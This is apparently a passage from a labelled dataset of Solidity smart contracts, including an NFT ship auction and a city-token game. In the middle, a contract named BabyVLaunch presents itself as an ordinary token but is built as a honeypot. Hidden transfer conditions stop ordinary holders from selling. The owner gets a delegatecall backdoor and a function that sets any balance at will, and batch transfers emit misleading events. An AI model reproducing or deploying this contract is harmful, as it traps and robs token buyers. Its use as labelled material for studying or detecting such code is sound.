function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ParsecShipPricing {
using SafeMath for uint256;
uint256 public constant TOTAL_PARSEC_CREDIT_SUPPLY = 30856775800000000;
uint256[18] private _multipliers = [
30841347412100000,
30825926738393950,
307951085181372406484875,
3073356447836811380826526098454678,
306108451404054441555510982248498,
3036687456535506201905741115048326,
2988475130535213555319509943479229,
2894334671812167005118183115407839,
2714856939931502657115329246779589,
2388599590594375264119680273916152,
1848996810673789555394216521160879,
1107954125875278770222144092290365,
3978258626243293616409580784511455,
5129032858085962996925781077178762,
8525510970373470528186667481043039,
2355538951219861249087266462563245,
1798167049816644768546906209889074
];
uint256[18] private _decimals = [
0, 0, 7, 17, 16,
17, 17, 17, 17, 17,
17, 17, 18, 19, 21,
24, 31
];
function _getShipPrice(
uint256 _initialPrice,
uint256 _minutesPassed
)
internal
view
returns (uint256 )
{
require(
_initialPrice <= TOTAL_PARSEC_CREDIT_SUPPLY,
"Initial ship price must not be greater than total Parsec Credit."
);
if (_minutesPassed >> _multipliers.length > 0) {
return 0;
}
uint256 _price = _initialPrice;
for (uint256 _powerOfTwo = 0; _powerOfTwo < _multipliers.length; _powerOfTwo++) {
if (_minutesPassed >> _powerOfTwo & 1 > 0) {
_price = _price
.mul(_multipliers[_powerOfTwo])
.div(TOTAL_PARSEC_CREDIT_SUPPLY)
.div(10 ** _decimals[_powerOfTwo]);
}
}
return _price;
}
}
interface TokenRecipient {
function receiveApproval(
address _from,
uint256 _value,
address _token,
bytes _extraData
)
external;
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC721Basic {
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
function balanceOf(address _owner) public view returns (uint256 _balance);
function ownerOf(uint256 _tokenId) public view returns (address _owner);
function exists(uint256 _tokenId) public view returns (bool _exists);
function approve(address _to, uint256 _tokenId) public;
function getApproved(uint256 _tokenId) public view returns (address _operator);
function setApprovalForAll(address _operator, bool _approved) public;
function isApprovedForAll(address _owner, address _operator) public view returns (bool);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function safeTransferFrom(address _from, address _to, uint256 _tokenId) public;
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
public;
}
contract ERC721Enumerable is ERC721Basic {
function totalSupply() public view returns (uint256);
function tokenOfOwnerByIndex(address _owner, uint256 _index) public view returns (uint256 _tokenId);
function tokenByIndex(uint256 _index) public view returns (uint256);
}
contract ERC721Metadata is ERC721Basic {
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function tokenURI(uint256 _tokenId) public view returns (string);
}
contract ERC721 is ERC721Basic, ERC721Enumerable, ERC721Metadata {
}
library AddressUtils {
function isContract(address addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
contract ERC721Receiver {
bytes4 constant ERC721_RECEIVED = 0xf0b9e5ba;
function onERC721Received(address _from, uint256 _tokenId, bytes _data) public returns(bytes4);
}
contract ERC721BasicToken is ERC721Basic {
using SafeMath for uint256;
using AddressUtils for address;
bytes4 constant ERC721_RECEIVED = 0xf0b9e5ba;
mapping (uint256 => address) internal tokenOwner;
mapping (uint256 => address) internal tokenApprovals;
mapping (address => uint256) internal ownedTokensCount;
mapping (address => mapping (address => bool)) internal operatorApprovals;
modifier onlyOwnerOf(uint256 _tokenId) {
require(ownerOf(_tokenId) == msg.sender);
_;
}
modifier canTransfer(uint256 _tokenId) {
require(isApprovedOrOwner(msg.sender, _tokenId));
_;
}
function balanceOf(address _owner) public view returns (uint256) {
require(_owner != address(0));
return ownedTokensCount[_owner];
}
function ownerOf(uint256 _tokenId) public view returns (address) {
address owner = tokenOwner[_tokenId];
require(owner != address(0));
return owner;
}
function exists(uint256 _tokenId) public view returns (bool) {
address owner = tokenOwner[_tokenId];
return owner != address(0);
}
function approve(address _to, uint256 _tokenId) public {
address owner = ownerOf(_tokenId);
require(_to != owner);
require(msg.sender == owner || isApprovedForAll(owner, msg.sender));
if (getApproved(_tokenId) != address(0) || _to != address(0)) {
tokenApprovals[_tokenId] = _to;
emit Approval(owner, _to, _tokenId);
}
}
function getApproved(uint256 _tokenId) public view returns (address) {
return tokenApprovals[_tokenId];
}
function setApprovalForAll(address _to, bool _approved) public {
require(_to != msg.sender);
operatorApprovals[msg.sender][_to] = _approved;
emit ApprovalForAll(msg.sender, _to, _approved);
}
function isApprovedForAll(address _owner, address _operator) public view returns (bool) {
return operatorApprovals[_owner][_operator];
}
function transferFrom(address _from, address _to, uint256 _tokenId) public canTransfer(_tokenId) {
require(_from != address(0));
require(_to != address(0));
clearApproval(_from, _tokenId);
removeTokenFrom(_from, _tokenId);
addTokenTo(_to, _tokenId);
emit Transfer(_from, _to, _tokenId);
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId
)
public
canTransfer(_tokenId)
{
safeTransferFrom(_from, _to, _tokenId, "");
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
public
canTransfer(_tokenId)
{
transferFrom(_from, _to, _tokenId);
require(checkAndCallSafeTransfer(_from, _to, _tokenId, _data));
}
function isApprovedOrOwner(address _spender, uint256 _tokenId) internal view returns (bool) {
address owner = ownerOf(_tokenId);
return _spender == owner || getApproved(_tokenId) == _spender || isApprovedForAll(owner, _spender);
}
function _mint(address _to, uint256 _tokenId) internal {
require(_to != address(0));
addTokenTo(_to, _tokenId);
emit Transfer(address(0), _to, _tokenId);
}
function _burn(address _owner, uint256 _tokenId) internal {
clearApproval(_owner, _tokenId);
removeTokenFrom(_owner, _tokenId);
emit Transfer(_owner, address(0), _tokenId);
}
function clearApproval(address _owner, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _owner);
if (tokenApprovals[_tokenId] != address(0)) {
tokenApprovals[_tokenId] = address(0);
emit Approval(_owner, address(0), _tokenId);
}
}
function addTokenTo(address _to, uint256 _tokenId) internal {
require(tokenOwner[_tokenId] == address(0));
tokenOwner[_tokenId] = _to;
ownedTokensCount[_to] = ownedTokensCount[_to].add(1);
}
function removeTokenFrom(address _from, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _from);
ownedTokensCount[_from] = ownedTokensCount[_from].sub(1);
tokenOwner[_tokenId] = address(0);
}
function checkAndCallSafeTransfer(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
internal
returns (bool)
{
if (!_to.isContract()) {
return true;
}
bytes4 retval = ERC721Receiver(_to).onERC721Received(_from, _tokenId, _data);
return (retval == ERC721_RECEIVED);
}
}
contract ERC721Token is ERC721, ERC721BasicToken {
string internal name_;
string internal symbol_;
mapping (address => uint256[]) internal ownedTokens;
mapping(uint256 => uint256) internal ownedTokensIndex;
uint256[] internal allTokens;
mapping(uint256 => uint256) internal allTokensIndex;
mapping(uint256 => string) internal tokenURIs;
function ERC721Token(string _name, string _symbol) public {
name_ = _name;
symbol_ = _symbol;
}
function name() public view returns (string) {
return name_;
}
function symbol() public view returns (string) {
return symbol_;
}
function tokenURI(uint256 _tokenId) public view returns (string) {
require(exists(_tokenId));
return tokenURIs[_tokenId];
}
function tokenOfOwnerByIndex(address _owner, uint256 _index) public view returns (uint256) {
require(_index < balanceOf(_owner));
return ownedTokens[_owner][_index];
}
function totalSupply() public view returns (uint256) {
return allTokens.length;
}
function tokenByIndex(uint256 _index) public view returns (uint256) {
require(_index < totalSupply());
return allTokens[_index];
}
function _setTokenURI(uint256 _tokenId, string _uri) internal {
require(exists(_tokenId));
tokenURIs[_tokenId] = _uri;
}
function addTokenTo(address _to, uint256 _tokenId) internal {
super.addTokenTo(_to, _tokenId);
uint256 length = ownedTokens[_to].length;
ownedTokens[_to].push(_tokenId);
ownedTokensIndex[_tokenId] = length;
}
function removeTokenFrom(address _from, uint256 _tokenId) internal {
super.removeTokenFrom(_from, _tokenId);
uint256 tokenIndex = ownedTokensIndex[_tokenId];
uint256 lastTokenIndex = ownedTokens[_from].length.sub(1);
uint256 lastToken = ownedTokens[_from][lastTokenIndex];
ownedTokens[_from][tokenIndex] = lastToken;
ownedTokens[_from][lastTokenIndex] = 0;
ownedTokens[_from].length--;
ownedTokensIndex[_tokenId] = 0;
ownedTokensIndex[lastToken] = tokenIndex;
}
function _mint(address _to, uint256 _tokenId) internal {
super._mint(_to, _tokenId);
allTokensIndex[_tokenId] = allTokens.length;
allTokens.push(_tokenId);
}
function _burn(address _owner, uint256 _tokenId) internal {
super._burn(_owner, _tokenId);
if (bytes(tokenURIs[_tokenId]).length != 0) {
delete tokenURIs[_tokenId];
}
uint256 tokenIndex = allTokensIndex[_tokenId];
uint256 lastTokenIndex = allTokens.length.sub(1);
uint256 lastToken = allTokens[lastTokenIndex];
allTokens[tokenIndex] = lastToken;
allTokens[lastTokenIndex] = 0;
allTokens.length--;
allTokensIndex[_tokenId] = 0;
allTokensIndex[lastToken] = tokenIndex;
}
}
contract ParsecShipAuction is
ERC721Token("Parsec Initial Ship", "PIS"),
ParsecShipInfo,
ParsecShipPricing,
ParsecReferralTracking,
Ownable,
Pausable
{
uint256 public constant PARSEC_CREDIT_DECIMALS = 6;
uint256 public constant FIRST_AUCTIONS_MINIMUM_RAISE = 2 * uint256(10) ** (5 + PARSEC_CREDIT_DECIMALS);
uint256 public constant SECOND_AUCTIONS_INITIAL_PERCENTAGE = 50;
uint256 public constant LATER_AUCTIONS_INITIAL_PERCENTAGE = 125;
uint256 public constant REFERRAL_REWARD_PERCENTAGE = 20;
ERC20 public parsecCreditContract = ERC20(0x4373D59176891dA98CA6faaa86bd387fc9e12b6E);
uint256 public firstAuctionsStartDate = 1526400000;
uint256 public firstAuctionsInitialDuration = 48 hours;
uint256 public firstAuctionsExtendableDuration = 12 hours;
uint256 public firstAuctionsExtendedChunkDuration = 1 hours;
uint256 public firstAuctionsExtendedDuration = 0;
uint256 public firstAuctionsHighestBid = uint256(10) ** (6 + PARSEC_CREDIT_DECIMALS);
address public firstAuctionsHighestBidder = address(0);
address public firstAuctionsReferrer;
bool public firstAuctionConcluded = false;
uint256 private _lastAuctionedShipId = 0;
uint256 private _lastAuctionsWinningBid;
uint256 private _lastAuctionWinsDate;
event FirstShipBidded(
address indexed _bidder,
uint256 _value,
address indexed _referrer
);
event LaterShipBidded(
uint256 indexed _shipId,
address indexed _winner,
uint256 _value,
address indexed _referrer
);
function receiveApproval(
address _from,
uint256 _value,
address _token,
bytes _extraData
)
external
whenNotPaused
{
require(_token == address(parsecCreditContract));
require(_extraData.length == 64);
uint256 _shipId;
address _referrer;
assembly {
_shipId := calldataload(164)
_referrer := calldataload(196)
}
if (_shipId == 1) {
_bidFirstShip(_value, _from, _referrer);
} else {
_bidLaterShip(_shipId, _value, _from, _referrer);
}
}
function getFirstAuctionsRemainingDuration() external view returns (uint256 ) {
uint256 _currentDate = now;
uint256 _endDate = getFirstAuctionsEndDate();
if (_endDate >= _currentDate) {
return _endDate - _currentDate;
} else {
return 0;
}
}
function concludeFirstAuction() external {
require(getLastAuctionedShipId() >= 1, "The first auction must have ended.");
require(!firstAuctionConcluded, "The first auction must not have been concluded.");
firstAuctionConcluded = true;
if (firstAuctionsHighestBidder != address(0)) {
_mint(firstAuctionsHighestBidder, 1);
if (firstAuctionsReferrer != address(0)) {
_sendTo(
firstAuctionsReferrer,
firstAuctionsHighestBid.mul(REFERRAL_REWARD_PERCENTAGE).div(100)
);
}
} else {
_mint(owner, 1);
}
}
function getFirstAuctionsExtendableStartDate() public view returns (uint256 ) {
return firstAuctionsStartDate
.add(firstAuctionsInitialDuration)
.sub(firstAuctionsExtendableDuration);
}
function getFirstAuctionsEndDate() public view returns (uint256 ) {
return firstAuctionsStartDate
.add(firstAuctionsInitialDuration)
.add(firstAuctionsExtendedDuration);
}
function getLastAuctionedShipId() public view returns (uint256 ) {
if (_lastAuctionedShipId == 0 && now >= getFirstAuctionsEndDate()) {
return 1;
} else {
return _lastAuctionedShipId;
}
}
function getLastAuctionsWinningBid() public view returns (uint256 ) {
if (_lastAuctionedShipId == 0 && now >= getFirstAuctionsEndDate()) {
return firstAuctionsHighestBid;
} else {
return _lastAuctionsWinningBid;
}
}
function getLastAuctionWinsDate() public view returns (uint256 ) {
if (_lastAuctionedShipId == 0) {
uint256 _firstAuctionsEndDate = getFirstAuctionsEndDate();
if (now >= _firstAuctionsEndDate) {
return _firstAuctionsEndDate;
}
}
return _lastAuctionWinsDate;
}
function getShipPrice(uint256 _shipId) public view returns (uint256 ) {
uint256 _minutesPassed = now
.sub(getLastAuctionWinsDate())
.div(1 minutes);
return getShipPrice(_shipId, _minutesPassed);
}
function getShipPrice(uint256 _shipId, uint256 _minutesPassed) public view returns (uint256 ) {
require(_shipId >= 2, "Ship ID must be greater than or equal to 2.");
require(_shipId <= TOTAL_SHIP, "Ship ID must be smaller than or equal to total number of ship.");
require(_shipId == getLastAuctionedShipId().add(1), "Can only get price of the ship which is being auctioned.");
uint256 _initialPrice = getLastAuctionsWinningBid();
if (_shipId == 2) {
_initialPrice = _initialPrice
.mul(SECOND_AUCTIONS_INITIAL_PERCENTAGE)
.div(100);
} else {
_initialPrice = _initialPrice
.mul(LATER_AUCTIONS_INITIAL_PERCENTAGE)
.div(100);
}
return _getShipPrice(_initialPrice, _minutesPassed);
}
function _bidFirstShip(uint256 _value, address _bidder, address _referrer) internal {
require(now >= firstAuctionsStartDate, "Auction of the first ship is not started yet.");
require(now < getFirstAuctionsEndDate(), "Auction of the first ship has ended.");
require(_value >= firstAuctionsHighestBid.add(FIRST_AUCTIONS_MINIMUM_RAISE), "Not enough Parsec Credit.");
_updateReferrerFor(_bidder, _referrer);
_receiveFrom(_bidder, _value);
if (firstAuctionsHighestBidder != address(0)) {
_sendTo(firstAuctionsHighestBidder, firstAuctionsHighestBid);
}
firstAuctionsHighestBid = _value;
firstAuctionsHighestBidder = _bidder;
firstAuctionsReferrer = referrer[_bidder];
if (now >= getFirstAuctionsExtendableStartDate()) {
firstAuctionsExtendedDuration = firstAuctionsExtendedDuration
.add(firstAuctionsExtendedChunkDuration);
}
emit FirstShipBidded(_bidder, _value, referrer[_bidder]);
}
function _bidLaterShip(
uint256 _shipId,
uint256 _value,
address _bidder,
address _referrer
)
internal
{
uint256 _price = getShipPrice(_shipId);
require(_value >= _price, "Not enough Parsec Credit.");
_updateReferrerFor(_bidder, _referrer);
if (_price > 0) {
_receiveFrom(_bidder, _price);
}
_mint(_bidder, _shipId);
_lastAuctionedShipId = _shipId;
_lastAuctionsWinningBid = _price;
_lastAuctionWinsDate = now;
if (referrer[_bidder] != address(0) && _price > 0) {
_sendTo(referrer[_bidder], _price.mul(REFERRAL_REWARD_PERCENTAGE).div(100));
}
emit LaterShipBidded(
_shipId,
_bidder,
_value,
referrer[_bidder]
);
}
function _receiveFrom(address _from, uint256 _value) internal {
parsecCreditContract.transferFrom(_from, this, _value);
}
function _sendTo(address _to, uint256 _value) internal {
require(address(parsecCreditContract).call(
bytes4(keccak256("transfer(address,uint256)")),
_to,
_value
), "Parsec Credit transfer failed.");
}
}
contract HasNoContracts is Ownable {
function reclaimContract(address contractAddr) external onlyOwner {
Ownable contractInst = Ownable(contractAddr);
contractInst.transferOwnership(owner);
}
}
contract HasNoEther is Ownable {
function HasNoEther() public payable {
require(msg.value == 0);
}
function() external {
}
function reclaimEther() external onlyOwner {
assert(owner.send(address(this).balance));
}
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract CanReclaimToken is Ownable {
using SafeERC20 for ERC20Basic;
function reclaimToken(ERC20Basic token) external onlyOwner {
uint256 balance = token.balanceOf(this);
token.safeTransfer(owner, balance);
}
}
contract HasNoTokens is CanReclaimToken {
function tokenFallback(address from_, uint256 value_, bytes data_) external {
from_;
value_;
data_;
revert();
}
}
contract NoOwner is HasNoEther, HasNoTokens, HasNoContracts {
}
contract ParsecInitialShip is
ParsecShipAuction,
NoOwner
{
function reclaimToken(ERC20Basic token) external onlyOwner {
require(token != parsecCreditContract);
uint256 balance = token.balanceOf(this);
token.safeTransfer(owner, balance);
}
function reclaimParsecCredit() external onlyOwner {
require(firstAuctionConcluded, "The first auction must have been concluded.");
_sendTo(owner, parsecCreditContract.balanceOf(this));
}
} | 0 | 1,760 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract BabyVLaunch {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] > _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender == owner);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require(msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 596 |
pragma solidity ^0.4.18;
contract ERC721 {
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
function balanceOf(address _owner) public view returns (uint256 _balance);
function ownerOf(uint256 _tokenId) public view returns (address _owner);
function transfer(address _to, uint256 _tokenId) public;
function approve(address _to, uint256 _tokenId) public;
function takeOwnership(uint256 _tokenId) public;
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract CountryToken {
function getCountryData (uint256 _tokenId) external view returns (address _owner, uint256 _startingPrice, uint256 _price, uint256 _nextPrice, uint256 _payout);
}
contract CityToken is ERC721, Ownable {
using SafeMath for uint256;
address cAddress = 0x0c507D48C0cd1232B82aA950d487d01Cfc6442Db;
CountryToken countryContract = CountryToken(cAddress);
uint32 constant COUNTRY_IDX = 100;
uint256 constant COUNTRY_PAYOUT = 15;
uint256 private totalTokens;
uint256[] private listedCities;
uint256 public devOwed;
uint256 public poolTotal;
uint256 public lastPurchase;
mapping (uint256 => City) public cityData;
mapping (uint256 => address) private tokenOwner;
mapping (uint256 => address) private tokenApprovals;
mapping (address => uint256[]) private ownedTokens;
mapping(uint256 => uint256) private ownedTokensIndex;
mapping (address => uint256) private payoutBalances;
mapping (uint256 => uint256) private countryWithdrawn;
event CityPurchased(uint256 indexed _tokenId, address indexed _owner, uint256 _purchasePrice);
uint256 private firstCap = 0.12 ether;
uint256 private secondCap = 0.5 ether;
uint256 private thirdCap = 1.5 ether;
struct City {
uint256 price;
uint256 lastPrice;
uint256 payout;
uint256 withdrawn;
address owner;
}
function createPromoListing(uint256 _tokenId, uint256 _startingPrice, uint256 _payoutPercentage) onlyOwner() public {
uint256 countryId = _tokenId % COUNTRY_IDX;
address countryOwner;
uint256 price;
(countryOwner,,price,,) = countryContract.getCountryData(countryId);
require (countryOwner != address(0));
if (_startingPrice == 0) {
if (price >= thirdCap) _startingPrice = price.div(80);
else if (price >= secondCap) _startingPrice = price.div(75);
else _startingPrice = 0.002 ether;
}
createListing(_tokenId, _startingPrice, _payoutPercentage, countryOwner);
}
function createListing(uint256 _tokenId, uint256 _startingPrice, uint256 _payoutPercentage, address _owner) onlyOwner() public {
require(_startingPrice > 0);
require(cityData[_tokenId].price == 0);
City storage newCity = cityData[_tokenId];
newCity.owner = _owner;
newCity.price = _startingPrice;
newCity.lastPrice = 0;
newCity.payout = _payoutPercentage;
listedCities.push(_tokenId);
_mint(_owner, _tokenId);
}
function createMultiple (uint256[] _itemIds, uint256[] _prices, uint256[] _payouts, address _owner) onlyOwner() external {
for (uint256 i = 0; i < _itemIds.length; i++) {
createListing(_itemIds[i], _prices[i], _payouts[i], _owner);
}
}
function getNextPrice (uint256 _price) private view returns (uint256 _nextPrice) {
if (_price < firstCap) {
return _price.mul(200).div(94);
} else if (_price < secondCap) {
return _price.mul(135).div(95);
} else if (_price < thirdCap) {
return _price.mul(118).div(96);
} else {
